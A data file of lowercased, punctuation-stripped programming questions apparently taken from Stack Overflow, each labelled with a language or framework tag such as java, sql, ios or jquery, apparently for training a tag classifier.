convert inline script for code behind  how would i convert this inline script into something i can use in a code behind  i d like to have the alert only show on the final else statement  before it deletes the account.   <pre><code>onclientclick =  return confirm( are you sure you want to delete  );  </code></pre>   basically i want to have a confirm delete box show before deleting an account.    this is the click function in the code behind:   <pre><code>protected void btndelete_click(object sender  eventargs e) {     membershipuser usertodelete = membership.getuser(username.selecteditem.value);     if (usertodelete == null)     {         message.text =  user    + username.selecteditem.value +    is not found ;     }     else if (username.selecteditem.value ==  admin )     {         message.text =  user    + username.selecteditem.value +    cannot be deleted ;     }     else     {         membership.deleteuser(username.selecteditem.value);         message.text =  user    + usertodelete +    has been deleted ;         response.redirect( ~/account/ );     } } </code></pre>,asp.net
date changing when it is extracted from an array  i m storing the dates in an array using this code   <pre><code>nsdateformatter *dateformat = [[nsdateformatter alloc] init]; [dateformat setdateformat:@ mm/dd/yyyy ]; today = [nsdate date]; [checkinarray addobject:today]; </code></pre>   in the array it is storing as      checkinarray         [0] = 2014-05-22 11:21:09 ist    and when i m extracting the date from the array through this statement   <pre><code>nsstring *dummystr = [[nsstring alloc]initwithformat:@ %@  [checkinarray lastobject]]; </code></pre>   the date has been changing to another timezone    i.e.  2014-05-22 05:51:09 +0000    thanks in advance and anyhelp is appreciable.,ios
run sql queries without external database  i have a text file of tab separated data. millions of rows so i can t open it in excel.     is there a way to use some sql client to load the file and run queries on it without uploading the file to a database  i.e. can my local machine function as my database     i know i could solve this with command line scripting but i m trying to find a solution that i can then share with the accounting department and they re scared of the command line.,sql
bottom toolbar for all screens in ios  i am new to ios development and have a question about what component i should be using for a particular ui aspect.  the app i am working on has need for a toolbar to go across the bottom and at times to be visible across all screens.  this toolbar is going to be used to manage the playing/pausing of some audio files which will play as the user navigates between screens within the app.  my question is should i be using a toolbar  a navigation bar or something else to achieve this,ios
how do you change from a class to a structure in c++   i always see people asking how you convert from a structure to a class but never the other way around. is it because it s much simpler or is it for another reason  let s say you have a department class like the one below:   <pre><code>class department {     private:         int departmentid;         string departmentname;         string departmentheadname;     public:     departments() {             departmentid = 0;             departmentname =   ;             departmentheadname =   ;     }     departments(int di  string dn  string dhn)     {         departmentid = di;         departmentname = dn;         departmentheadname = dhn;     }     void setdepartmentid(int di) {         departmentid = di;     }     int getdepartmentid() {         return departmentid;     }     void setdepartmentname(string dn) {         departmentname = dn;     }     string getdepartmentname() {         return departmentname;     }     void setdepartmentheadname(string dhn) {         departmentheadname = dhn;     }     string getdepartmentheadname() {         return departmentheadname;     }  }; </code></pre>   and you were asked to  replace class with structure for department.  how would you approach this  would you simply remove class and replace it with struct or would you do/try something else,c++
i have html like this.i want to compare anchor tag(href) and img src.if both href and src are same then it should not hyperlink. <pre><code>&lt;a href= http://dev.tone.com/wp-content/uploads/2014/07/israel-gaza-conflict-14.jpg &gt;  &lt;img class= size-medium wp-image-2820822  src= http://dev.tone.com/wp-  content/uploads/2014/07/israel-gaza-conflict-14.jpg  alt= ed over the gaza strip  width= 300    height= 200  /&gt;&lt;/a&gt;  &lt;a href= http://google.com &gt;&lt;img class= size-medium wp-image-2820817    src= http://dev.time.com/wp-content/uploads/2014/07/what-makes-people-happy1.jpg    alt= 183023480  width= 300  height= 200  /&gt;&lt;/a&gt; </code></pre>   if both href and src are same then it should not hyperlink.how can i do it by php,php
cannot print  1    i m new to programming and i was doing an exercise in school. for my following program where i am stuck:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include&lt;math.h&gt; int main() {  int n; printf( input the integer number: ); scanf( %d  &amp;n); int usevar=n; int count=0; while(n&gt;1) {     n/=10;     count++; }  int sum=0;  printf( reverse:\n ); for(int i=1;i&lt;=count;i++) {     int a=pow(10 i);     int b=pow(10 i-1);     sum=(usevar%a-usevar%b)/b;     printf( i=%d\n  sum); }   return 0; } </code></pre>   when i inserted some int number such as <code>12345</code> the output should be:    reverse:   <pre><code>i=5  i=4  i=3  i=2  i=1 </code></pre>   but the output of my program is:    reverse:   <pre><code>i=5  i=4  i=3  i=2 </code></pre>   but when i input the number without  1  as start number  my program works correctly:    input the integer number:23556    reverse:   <pre><code>i=6  i=5  i=5  i=3  i=2 </code></pre>   so what s the problem with the number that start with  1   can anyone give me the suggestion  i m glad if you can help.,c
getting a while loop to continue with a if statement  i m working with a while loop and an if statement.    i want the loop to continue if the else statement is being run. in my understanding the  continue;  should restart the loop  but it doesn t.    i found one workaround to fix this though  it s to set  cho = 1; . but is this really necessary  are there any more logic ways to solve this problem      thanks!   <pre><code>    while (sum &lt; 21 &amp;&amp; cho == 1 &amp;&amp; sum != 21) {         system.out.println( do you want to (1)hit or (2) stay  );         cho = scan.nextint();          if (cho == 1) {              getcard(index++);              if (sum &gt; 21) {                 system.out.println( you busted! dealer wins. );                 return;             }         } else if (cho == 2) {             system.out.println( your value is   + sum);             sum = playertotal;         }         else{             cho = 1;             system.err.println( the input value given is not a valid integer );             continue; //does not restart the loop.         }     } </code></pre>,java
problem with nscolors in cocoa  i am trying to compose colors using nscolor and when i am trying to create rgb color with the following values it just displays the white colors instead:   <pre><code>(r g b):(50 50 50) (r g b):(100 100 100) (r g b):(150 150 150) (r g b):(200 200 200) </code></pre>   etc...    the code  used to create the colors is:    // the code to genearet simple images with background colors   <pre><code>nscolor * mycolor = [nscolor colorwithdevicered:100.0 green:100.0 blue:100.0 alpha:1.0]; nsimage* image1 = [[nsimage alloc] initwithsize:nsmakesize(10.0   100.0)]; nsrect imagebounds1 = nsmakerect (0  0  10  100);  [image1 lockfocus]; [mycolor set]; nsrectfill (imagebounds1); [image1 unlockfocus]; </code></pre>   i couldn t find any resource or sample on the web  which provides some sort of help on my above queries.it s highly appreciated if someone could share his wisdom on how i can achieve this.    thanks in advance..,objective-c
scanner breaking after entering 2 words  i have a problem with the  model  scanner. my program requires me to enter vehicles from a predetermined chart. some of the vehicles are two words example :  grand caravan . i understand why its giving me other then being two words its because the next scanner is a double which doesn t allow characters so it errors out. i just want to include the white space and 2nd word in a single scanner if possible  or is there another way of doing this    <pre><code>string make  model;     double citympg  hwympg;      do {         system.out.println( please enter your cars make ); // asking for cars make         make  = keyboard.next();          system.out.println( enter your cars model ); // asking for cars model         model = keyboard.next();          system.out.println( enter your gas tank size ); // asking for gas tank size         tanksize = keyboard.nextdouble();          system.out.println( enter your city mpg ); // asking for city mpg1         citympg = keyboard.nextdouble();          system.out.println( enter your highway mpg ); // asking for highway mpg         hwympg = keyboard.nextdouble(); </code></pre>,java
.net command line parameters   i have vb app that calls another vb app using process.start(program).  my question is how can i pass a parameter to the program and how can i intercept it in the program,.net
javascript debounce function  why only two arguments   follow-up question to <a href= https://stackoverflow.com/questions/24004791/can-someone-explain-the-debounce-function-in-javascript >explanation of a javascript debounce function</a> why do the examples of how to call the debounce function supply only two arguments  (the debounce function has three parameters.),javascript
accessing data across controllers getting undefined method  i can’t wrap my head around this and i could use some fresh eyes. i’m getting an undefined method in one of my views and i can’t figure out why.    i have a group of controllers under an admin namespace (i.e admin/restaurants  admin/menu). i also have a controller for admin but no model backing it. i want to use the admin index page as a dashboard to display various data from the other controllers namespaced under it. for some reason when i try to access any data from the other controllers in the admin/index view i get undefined method `each  for nil:nilclass    routes   <pre><code>namespace :admin do    resources :restaurants    resources :menus end </code></pre>   controller in app/controllers/admin_controller.rb   <pre><code>class admincontroller &lt; applicationcontroller  def index      @restaurants = restaurant.all      @menus = menu.all end </code></pre>   views in app/views/admin/index.html.erb   <pre><code>&lt;% @restaurants.each do |restaurant| %&gt;     &lt;%=  restaurant.name   %&gt;     &lt;%=  restaurant.address   %&gt; &lt;% end %&gt;  &lt;% @menus.each do |menu| %&gt;     &lt;%=  menu.name   %&gt;     &lt;%=  menu.price   %&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
dynamic query for the alias row <pre><code>select --distinct organizations.name users.fname  users.lname  usertypes.name  users.email  users.id  (select count(messageid)) as msgsreceived  (select count(messageid) where messages.urgency = 1) as lowmsgsreceived  (select count(messageid) where messages.urgency = 2) as medmsgsreceived  (select count(messageid) where messages.urgency = 3) as highmsgsreceived from users inner join recipients on users.id = recipients.userid inner join messages on messages.id = recipients.messageid inner join usertypes on users.usertypeid = usertypes.id inner join organizations on users.organizationid = organizations.id group by organizations.name users.fname  users.lname  usertypes.name  users.email  users.id  messages.urgency order by users.fname </code></pre>   the count give me wrong result of the level of message received. the below query give me the count correctly but some of the row i dont want to display null on it display 0 instead  any help,sql
c# get type of null object  i have the c# method   <pre><code>private static string typenamelower(object o) {    return o.gettype().name.tolower(); } </code></pre>   to give me the lower case type name of the input object.    but if input is a string set to null or a nullable int set to null then this method of course fails.    how do i get the type name in this situation,c#
once and for all: deep copying objects  i have seen many attempts to answer this on stackoverflooooooow and none have satisfied me.    i have a <code>person</code> class with only a public <code>name</code> attribute that subclasses <code>nsobject</code>. in the <code>main</code> i run:   <pre><code>person *alex = [[person alloc] init]; alex.name = @ alex  nslog(@ name: %@ %p   alex.name  alex.name ); </code></pre>   which will print to the console   <pre><code>2015-08-21 21:53:34.047 test[29456:5960428] name: alex 0x108dfd640 </code></pre>   the <strong>two</strong> methods i ve found for copying both implement the <code>copywithzone:</code> selector from the <code>&lt;nscopying&gt;</code> protocol  which i place this in the <code>person</code> class.     <strong>1)</strong> the first version of this selector is:   <pre><code>- (id) copywithzone:(nszone *) zone {     person *personcopy = [[[self class] allocwithzone:zone] init];     personcopy.name = [self.name copywithzone:zone];     // i ve also tried: personcopy.name = [self.name copy];     return personcopy; } </code></pre>   in the main i run   <pre><code>person *acopyofalex = [alex copy] nslog(@ name: %@ %p   acopyofalex.name  acopyofalex.name ); </code></pre>   which logs   <pre><code>2015-08-21 21:53:34.047 test[29456:5960428] name: alex 0x108dfd640 </code></pre>   the <code>person</code> copy instance <em>is</em> different but the name attributes for the copy and original point to the <em>same</em> place.    <strong>2)</strong> the second version of this selector uses an archiver (which i guess takes some time - especially if i have a lot of attributes to deep copy across ) and then an unarchiver:   <pre><code>- (id) copywithzone:(nszone *) zone {     person *personcopy = [[[self class] allocwithzone:zone] init];     nsdata *buffer = [nskeyedarchiver archiveddatawithrootobject:self.name];     personcopy.name = [nskeyedunarchiver unarchiveobjectwithdata:buffer];     return personcopy; } </code></pre>   in the main i run again   <pre><code>person *acopyofalex = [alex copy] nslog(@ name: %@ %p   acopyofalex.name  acopyofalex.name ); </code></pre>   which logs   <pre><code>2015-08-21 21:53:34.047 test[29456:5960428] name: alex 0x7fa80969e4a0 </code></pre>   this time both the <code>person</code> copy instance <em>and</em> the name attribute point to different places.    finally to a question! can someone say which method is correct (if either)  please  it seems the second does what i want and would be an actual deep copy..    thanks!,objective-c
how to set a variable that changes according to another variable  to be more specific i am trying to make a program to calculates price. the price is supposed to change the more you buy.    <pre><code>&lt;html xmlns= http://www.w3.org/1999/xhtml  lang= en &gt; &lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;title&gt;transaction invoice&lt;/title&gt;     &lt;meta name= author  content= caprica  /&gt;     &lt;!-- date: 2014-11-12 --&gt; &lt;/head&gt; &lt;body&gt; &lt;script type= text/javascript &gt; // program name: transaction invoice // purpose: to do a transaction // author: ephraim vickers // date last modified: today  // variables  var break =  &lt;br /&gt;  var pricepound = 1.13;           // this is the price per pound var amountpurchased = 0;         // number of pounds purchased var reducrate =  parseint (document.getelementbyid ( 0.02 ).value);              // this is the percent it is reduced var nodiscount = pricepound * amountpurchased;     //cost without discount var reduccost = nodiscount - amountsaved; var amountsaved = nodiscount * reducrate; document.write ( hello and thank you for shopping at the acme cement company. this program is here to handle transaction information and apply discounts. for all other concerns please go to our main site.  + break) window.alert( please be aware that all cement purchases are on sell and  the more you buy the more it will be discounted!!! all numbers inputted will be converted to pounds. some restrictions and limitations do apply see a instore clerk for details. ) amountpurchased = prompt ( valued customer  please enter the amount of cement you would like to purchase.  ); nodiscount = pricepound * amountpurchased reduccost = nodiscount - amountsaved amountsaved = nodiscount * reducrate parsefloat(reducrate)  if (amountpurchased &lt;= 0) {     window.alert( error. your purchase is below our minimum purchase amount. please refresh the page and increase the amount you are trying to purchase.  ); }  if (amountpurchased &lt;= 500) {     reducerate = 0.02; } if (amountpurchased &lt;=9000) {     reducerate = 0.04;   } if (amountpurchased &lt;= 15000) {     reducerate = 0.05; } if (amountpurchased &gt;= 15000) {     reducerate = 0.09; }; document.write (amountsaved);  // this also returns 0 but i think its because of the reducrate document.write (reducrate);   //this is the part that always returns 0 &lt;/script&gt; </code></pre>   for some reason the reducerate keeps returning zero. how do i make the rate change with amount. sorry for not posting the whole thing,javascript
how can make this type horizontal scroll view   <a href= https://i.stack.imgur.com/x62m4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/x62m4.png  alt= enter image description here ></a>    i would like to achieve this type of view in recycle view,android
jquery select next <div> element  i have a simple div layout html  there is a function that when mouse over the div with classname  personal-icon-email   i will call a js function and display the hidden div with classname  img-info-mask .    <pre><code>&lt;div class= user-panel &gt; &lt;div class= user-panel-avatar &gt;&lt;img src= http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50 s=80 /&gt;&lt;/div&gt; &lt;div class= user-panel-username &gt;frank&lt;/div&gt; &lt;div class= user-panel-info &gt;hi there  may name is frank ....&lt;/div&gt;  &lt;div class= personal-icon-email pie-adj  onmouseover= showtips(this);  id= 123321 &gt;&lt;/div&gt; &lt;div class= personal-icon-hi pihi-adj &gt;&lt;/div&gt; &lt;div class= personal-icon-fav pifav-adj &gt;&lt;/div&gt; &lt;div class= img-info-mask &gt;contact frank now&lt;/div&gt; </code></pre>        i was using jquery with this and i have tried:   <pre><code>function showtips(object){$(object).next( .img-info-masks ).show(); } </code></pre>   but failed.  also i have tried     <code>function showtips(object){$( #123321 ).next( .img-info-masks ).show();}</code>    still not works.    can anyone tell me what s wrong and what i should do  thank you a thousand :d,jquery
error 400 while uploading image from ios  i am very much new to ios.i have to upload an image to rest server from ios application. i have referred stackoverflow. but everytime the response is 400 which is bad request from client side. i am taking image from device document directory.could some one post the exact code for image upload.please refer the code i am using. i am not sure what to use as file name since i am downloading image from documents directory.   <pre><code>nsmutableurlrequest *request = [[nsmutableurlrequest alloc] init];         [request sethttpmethod:@ post ];         [request seturl:[nsurl urlwithstring:@ urltoupload ]];          nsstring *stringboundary = @ ----1010101010 ;         nsstring *contenttype = [nsstring stringwithformat:@ multipart/form-data; boundary=%@  stringboundary];         [request setvalue:contenttype forhttpheaderfield:@ content-type ];           nsmutabledata *body = [nsmutabledata data];         [body appenddata:[[nsstring stringwithformat:@ --%@\r\n   stringboundary] datausingencoding:nsutf8stringencoding]];         [body appenddata:[[nsstring stringwithformat:@ content-disposition:attachment; name=\ userfile\ ; filename=\ image.png\ \r\n ] datausingencoding:nsutf8stringencoding]];         [body appenddata:[@ content-type: application/octet-stream\r\n\r\n  datausingencoding:nsutf8stringencoding]];          [body appenddata:pngimagedata];         [body appenddata:[[nsstring stringwithformat:@ \r\n ]   datausingencoding:nsutf8stringencoding]];         [body appenddata:[[nsstring stringwithformat:@ --%@--\r\n   stringboundary] datausingencoding:nsutf8stringencoding]];         [request sethttpbody:body];   nsdata *returndata = [nsurlconnection sendsynchronousrequest:request returningresponse:nil error:nil];       nsstring *str = [[nsstring alloc] initwithdata:returndata encoding:nsutf8stringencoding];        nslog(@ return data ---- %@   str); </code></pre>,ios
how to put a tag inside data-description  i have a a  tag  something like this:   <pre><code>&lt;a href= ...  data-title= ...  data-description= ... &gt;&lt;/a&gt; </code></pre>   how can i put a link inside the <code>data-description</code> tag  so that i have a link inside a description link.,html
union statement with duplicate response even with group by  union with statement coming back with the duplicate loan_type_response   <pre><code>    lt.loan_type_id      lt.loan_type_name           (select concat(round(sum(la.loan_amount)  0)        count(loan.loan_id))                 from loan                 join loan_amount la on la.loan_amount_id = loan.ref_loan_amount_id                 join loan2event l2e on l2e.ref_loan_id = loan.loan_id and l2e.end is null and date(l2e.start) = curdate() and l2e.ref_event_id in (1301)                 where loan.ref_loan_type_id = lt.loan_type_id) as amount_count from loan_type lt where lt.active = 1   group by lt.loan_type_id  union   select         lt.loan_type_id          lt.loan_type_name                          (select concat(round(sum(la.loan_amount)  0)        count(loan.loan_id))                     from loan                     join loan_amount la on la.loan_amount_id = loan.ref_loan_amount_id                     join loan2event l2e1 on l2e1.ref_loan_id = loan.loan_id and l2e1.end is null and l2e1.ref_event_id in ( 1004     1101     1105 )                    where loan.ref_loan_type_id = lt.loan_type_id ) as amount_count from loan_type lt    where lt.active = 1   group by lt.`loan_type_name` </code></pre>   response:   <pre><code>new 1200  4 advanced    750  5 basic   null new 6050  17 advanced    null basic   3150  11 </code></pre>   would like to see it grouped by loan_id   <pre><code>   new loan 7250  21    advanced 750  5    basic    3150  11 </code></pre>,sql
code security for .net other than using obfuscation  is there any way to prevent the code from being dissembled other then obfuscation.,.net
faster/more efficient live search with jquery   i have a list of divs which have various data in a text input boxes.    i have a working  live search  where  as a user types information into an <code>input</code> box  the divs are filtered until only matching ones are shown or none at all.    however  when there are lots of rows  the responsiveness becomes sluggish and typing in the search terms is slow.    is there a faster or more efficient method     <strong>code</strong>   <pre><code>$( input#create-row-name ).keyup(function(e){     if($(this).val()!==  ){         livesearch();     } else $( div#rows&gt;div.column&gt;div.row ).show(); });  function livesearch(){     var searchterm = $( input#create-row-name ).val().tostring().tolowercase();     $( div#rows&gt;div.column&gt;div.row ).each(function(){         var searchresult = $(this).find( div.input-group&gt;input.row-name ).val().tostring().tolowercase();         if(searchresult.indexof(searchterm)&gt;=0){             $(this).show();         } else $(this).hide();     }) } </code></pre>,jquery
help with creating a private method  i am working on a project and have the following psuedocode:   <pre><code>// create a private method  getintvaldialog  that returns an integer value and accepts // two string values as arguments     // declare and initialize a string variable  svalue  to an empty string     // accept input to svalue from a input dialog using smessage  stitle  and a question icon as arguments     // return the integer converted value of svalue         // end getintvaldialog method </code></pre>   i have an idea  but i don t quite understand how to set this up properly. the psuedocode tells me what i have to do  but i just need some help understanding and visualizing how this works. any help would be appreciated :),java
query sql based on records that does not exist  having a problem to make this query work for a while now:    i have 3 tables:   <pre><code>table 1. projects          -&gt; id  name  ....  table 2. members          -&gt; user_id  project_id  ...  table 3. links          -&gt; user_id  project_id  is_binded </code></pre>   what i try to achieve:    get all <code>projects.id</code> and <code>projects.name</code> from <code>projects</code>  but only the projects coupled to a user (<code>members.user_id</code>)    and where <code>is_binded</code> = false (but only the projects from the user)    or    (this part i can t figure out) when there doesn t exist a record with the user_id  project_id and is_binded columns. so  when the project &amp; user_id is not yet in the links table.    basically  the query should return all projects from a user which are not binded or when there isn t a record of it in the links table.     the query is came up with:   <pre><code>select p.id  p.name from projects p  join links ml on p.id = ml.project_id  join members m on p.id = m.project_id  where m.user_id = #{u_id}  and  (ml.is_binded is null or (ml.is_binded = 0 and ml.user_id = #{u_id})) </code></pre>   returns projects which are not in the table  but not on a user basis. when a record is in <code>links</code> with a <code>project_id</code> and <code>user_id</code>  i don t get a list with other <code>user_id</code> s anymore. #{u_id} is a variable i use within ruby.    i hope my problem is a bit clear!,mysql
android spinner border issue  i have make the spinner he work perfect but the design issue. my spinner code is    <pre><code>&lt;spinner         android:id= @+id/product          android:layout_width= match_parent          android:layout_height= wrap_content          android:drawable= @drawable/border          android:padding= 25dp &gt;     &lt;/spinner&gt; </code></pre>   java code   <pre><code>spinnershop = (spinner) myview.findviewbyid(r.id.shop); /*shop spinner*/ arrayadapter&lt;charsequence&gt; shoparray = arrayadapter.createfromresource(getactivity()          r.array.shoparray  android.r.layout.simple_list_item_1); shoparray.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item); spinnershop.setadapter(shoparray); </code></pre>   @drawable/border code    <pre><code>    &lt;shape xmlns:android= http://schemas.android.com/apk/res/android      android:shape= rectangle &gt; &lt;corners     android:radius= 2dp  /&gt; &lt;solid android:color= @color/colortext  /&gt; &lt;stroke         android:width= 1dip          android:color= @color/colorprimary /&gt; &lt;/shape&gt; </code></pre>   border not shown arround the spinner show the image <a href= https://i.stack.imgur.com/uwpvy.png  rel= nofollow noreferrer >enter image description here</a>,android
how can i use a sub query to count records in previous month  i have a table that looks like:    <code>+-----+------------+-----+----------+----------------+---------------------+ | id  | tid        | pid | amt      | transtime      | datecreated         | +-----+------------+-----+----------+----------------+---------------------+ | 784 | ldc3n0jf1z | 784 | 300.0000 | 20170412174304 | 2017-04-12 17:43:42 | | 783 | ldc6mwnho8 | 783 | 500.0000 | 20170412124952 | 2017-05-12 12:50:15 | | 782 | ldb1mpk8bp | 782 | 200.0000 | 20170411192815 | 2017-05-11 19:28:19 | | 781 | lda2mauw08 | 781 | 200.0000 | 20170410174635 | 2017-07-10 17:47:01 | | 780 | lda8mamqt4 | 780 | 200.0000 | 20170410173245 | 2017-04-10 17:33:19 | +-----+------------+-----+----------+----------------+---------------------+ </code>    i want a query to give me results that look like this. the results that i want look like this.   <pre><code>id|tid        |this_month_amount|amount_previous_month |amount_difference ------------------------------------------------------------------ 1 |ldc3n0jf1z |300              | 700                  |400 </code></pre>   i have also attempted the problem. this is what i have.    <code>select payment.id payment.tid payment.datecreated as dc payment.amount as this_month_amount  inner join (select sum(amount) as t2 sum group by amount from payments where datecreated= dateadd(mm -1 dc))subquery on payments.id = subquery.id order by id desc limit 5 )</code>    so the query should select amount from the month and then amounts from previous months and then show the difference in the field called <code>amount_difference</code>    its wrong  so after trying a lot  i want some help from you people. thank you.,mysql
notifications opening activities and the back button  restricting to one instance   there s a situation i have that s related to the activity stack but i m new enough to android dev to not now how to respond to it.    i have an application that works like a stopwatch. when you start it  an ongoing notification goes in the notification tray and remains ongoing until you stop the stopwatch. i ve noticed that if my stopwatch is running in the foreground  and i touch the notification  it creates a new instance of my stopwatch s activity and slides the old one off screen. this creates problems with the back button (you press back and the new instance goes away to reveal the old instance). it makes sense why this happens  but i don t want it to happen like this. what can i do to prevent multiple instances of my application from running,android
angular js datepicker is not poping in mobile when traversed using return key  when traversed from lastname field to date field using next key in android date picker popup is not appearing    at the same time when the date field is clicked it works fine    so i think date field losses focus..when traversed through next key.. i already tried ng-focus and ng click the lastname field so it will trigger the date field    <strong>p.s: i havent used datepicker plugin so no possibility of using onselect</strong>,angularjs
should there be an  undefined operation  or  undefined result    some minutes ago  <a href= https://stackoverflow.com/users/22656/jon-skeet >jon skeet</a>  found something. <a href= https://stackoverflow.com/q/4635923/415789 >see this</a>    this issue and many issues like this made me to think about something about <code>undefined operation</code> or <code>undefined result</code>.    should these kind of things that may cause different result in different implementation of libraries like <code>.net</code> or <code>mono</code> results in an <code>undefined operation</code> or <code>undefined result</code>  maybe throwing an exception or setting a <code>field</code> in it s <code>struct</code> or <code>class</code> ! what are cons and pros of having <code>undefined operation</code> or <code>undefined result</code>     also look at <a href= https://stackoverflow.com/q/194484/415789 >this</a> i think some of them mentioned there makes unexpected results which should be handled or make the programmer be aware of them.    i mean some how it is getting a big amount of knowing  x is doing something in this way  and  how x implemented another thing ! is this really help programming and developers,.net
can i import data into mysql as a big string   is there a way to import data like this:    <code>mysql&gt; import data into db1.table_foo from raw  col1 col2 col3\n10 2 6\n9 4 3\n8 8 2\n </code>    or like this:    <code>%&gt; mysql --raw-option -u user db1.table_foo &lt; cat  col1 col2 col3\n10 2 6\n9 4 3\n8 8 2\n </code>,mysql
help in interpreting a c++ method  i have the following c++ method:   <pre><code>typedef unsigned long p3toffsettype; p3toffsettype buildstring(std::string string) {     for (stringmap::const_iterator string_iterator = strings.begin(); string_iterator != strings.end(); ++string_iterator)     {         if (string_iterator-&gt;second == string)             return string_iterator-&gt;first;     }     p3toffsettype new_string_offset = string_offset;     strings[string_offset] = string;     string_offset += string.size() + 1;      return new_string_offset; } </code></pre>   what does the function do  i can give more of the code if needed. the code is a snippet from a p3t file packer found in the source <a href= http://rebytes.ueuo.com/p3tbuilder.php  rel= nofollow >p3tbuilder</a> (version 2.7).    i need to know this because i am trying to,c++
rails validate field is true  if present  i ve found plenty of posts around how to validate a field is present  if another condition is true  such as these:    <a href= https://stackoverflow.com/questions/8763311/rails-how-to-validate-format-only-if-value-is-present >rails: how to validate format only if value is present </a>    <a href= https://stackoverflow.com/questions/42495133/rails-validation-if-one-condition-is-true >rails - validation :if one condition is true</a>    however  how do i do it the opposite way around     my user has an attribute called <code>terms_of_service</code>.    how do i best write a validation that checks that the <code>terms_of_service == true</code>  if present,ruby-on-rails
email a file from iphone apps documents folder  i have managed to get in app email working in my app but am having trouble emailing an attachment. i am trying to email the core data .sqlite file. the email sends fine but when i recieve it there is no attachment. i have tried making a copy of the file and emailing that but still no good.   <pre><code>nsarray *searchpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); nsstring *documentpath = [searchpaths objectatindex:0]; nsstring *path = [[nsstring alloc] initwithformat:@ %@/data.sqlite  documentpath]; nsstring *newpath = [[nsstring alloc] initwithformat:@ %@/newdata.sqlite  documentpath]; nsurl *thefileurl = [nsurl urlwithstring:newpath]; [[nsfilemanager defaultmanager] copyitematpath:path topath:newpath error:nil]; nsdata *data = [nsdata datawithcontentsofurl: thefileurl];  nslog(@ %@  documentpath); nslog(@ %@  path);    [controller setsubject:@ backup ]; [controller addattachmentdata:data mimetype:@ application/x-sqlite3  filename:@ data.sqlite ]; [controller setmessagebody:@ testing.  ishtml:no]; [self presentmodalviewcontroller:controller animated:yes]; [controller release]; </code></pre>   thanks for your help,iphone
jquery-- populate select from json  i have a map in my java sevlet and converting it to a json format that works right.    when i do this function below it creates a drop down  but it puts every character as an option   this is what i got:   <pre><code>$(document).ready(function(){     var temp=  ${temp} ;     //alert(options);     var $select = $( #down );                             $select.find( option ).remove();                               $.each(temp  function(key  value) {                       $( &lt;option&gt; ).val(key).text(value).appendto($select);          }); }); </code></pre>   map content in json format   <pre><code>{ 1  :  string   2  :  string } </code></pre>,jquery
compiler warning  may not respond to   i m a rank newbie  so please excuse me.     i m working with a barcode reader sample program from zbar. i wanted to add a sqlite3 daabase for looking up barcodes scanned. the but when i try to instance the sql control from the viewcontroller i get the following error.    <pre><code>mysql *ms =[[mysql alloc ] init];  [ ms viewdidload];   ^^   mysql may not respond to viewdidload </code></pre>   any ideas  thanks    ps the program crashes once it hits the offending line.,objective-c
is id a  root type   or just a type   many objective-c developers  both novice and expert  seem to regard <code>id</code> as though it is some magical catch-all type that you can cast an object to and send any old message to without consequence (from the compiler  at least).  but  when one actually looks at the definition of <code>id</code>  it s nothing more than a pointer to an <code>objc_object</code>.  in this way  it is literally an  objective-c object   but nothing can  descend  from <code>id</code>.  even nsobject s header doesn t look like:   <pre><code>@interface nsobject : id </code></pre>   it just reads:   <pre><code>@interface nsobject </code></pre>   now  i m firmly of the belief that <code>id</code> s supposed type neutrality is a side-effect of its implementation  but because there are those that still think otherwise  i ve got to ask:    what exactly is the primary function of the <code>id</code> type,objective-c
how to write match in route.rb  in my admincontroller  i have methods named as edit  update and update_admin. and  in route.rb   <pre><code>  resources :session  :only =&gt; [update]     match  /:controller(/:action(/:id))    end </code></pre>   when i navigate the url  /users/edit/1  matches. from this page i want to call the action method in update_admin in admincontroller. how to do this     my edit.erb has    <pre><code>    &lt;%= render :partial =&gt;  /submit   :locals = &gt; {:button_html =&gt; f.submit( update )  :validate_present =&gt; true}  %&gt; </code></pre>,ruby-on-rails
why would a function defined in the same class be considered undeclared  how to declare it properly   i m getting the error  undeclared identifier  on the commented line:   <pre><code>- (bool) isinintarray:(nsinteger[])array theelem:(int)elem{     int i = 0;     nsinteger sizeofarray = (sizeof array) / (sizeof array[0]);     while(i &lt; sizeofarray){         if(array[i] == elem){             return true;         }         i++;     }     return false; }  - (int)getnextunusedid{     int i = rand()%34;     while ([isinintarray:idsused theelem:i]) { //here: use of undeclared identifier  isinintarray          i = rand()%34;     }     return i; } </code></pre>   i really don t understand why  they are in the same <code>.m</code> file. why would that be     also  this code:   <pre><code>nsinteger sizeofarray = (sizeof array) / (sizeof array[0]); </code></pre>   is giving me the warning:   <blockquote>    sizeof on array function will return sizeof  nsinteger *  (aka:  int * ) instead of  nsinteger[]    </blockquote>   how should i properly determine the size of an array,objective-c
how to access actionbar in android using application context  i need to access action bar items for the whole application at one place it is possible to access action bar using application context in android,android
in objective-c does it make sense to declare a readonly property in a category   let s say i have <code>tree.h</code> and <code>tree+extensions.h</code>. i know that if i declare  in <code>tree+extensions.h</code> a <code>@property (nonatomic) nsstring *color</code> and then access it  it will crash  and that i can get something similar to that functionality using <code>objc_getassociatedobject</code> and <code>objc_setassociatedobject</code>.    however  i ve also seen this:   <pre><code>// tree+extensions.h @interface tree (extensions) @property (nonatomic  readonly) nsstring *color; @end  // tree+extensions.m @implementation tree (extensions) - (nsstring *)color {     return @ green ; } @end </code></pre>   notice that the property in the category is declared as <code>readonly</code> and that the accessor method is returning something that can be calculated.    i ve seen this code working  but was wondering why would this be preferable than just declaring the accessor method in the header file.,objective-c
need to override cascade style  i have a style :   <pre><code>.window .div {     border:medium solid #000000;     height:150px;     background-color: #0099ff;     } </code></pre>   and then i have another style:   <pre><code> #newdiv {     font:arial  helvetica  sans-serif;     font-size: 24px;     height: 20px;     border-bottom-width: medium;     border-bottom-style: solid;     border-bottom-color: #000000;         } </code></pre>   i need to put a #newdiv div tag inside of window .div  but... #newdiv must retain its own styling while sitting inside of window .div div tags.  how do i do this     currently when i try  #newdiv takes on the same styling as window .div when i place it inside of it and i dont want that at all. any suggestions     html:   <pre><code>&lt;div class= window &gt;     &lt;div&gt;         &lt;div id= newdiv &gt;whats wrong here &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt;  </code></pre>,css
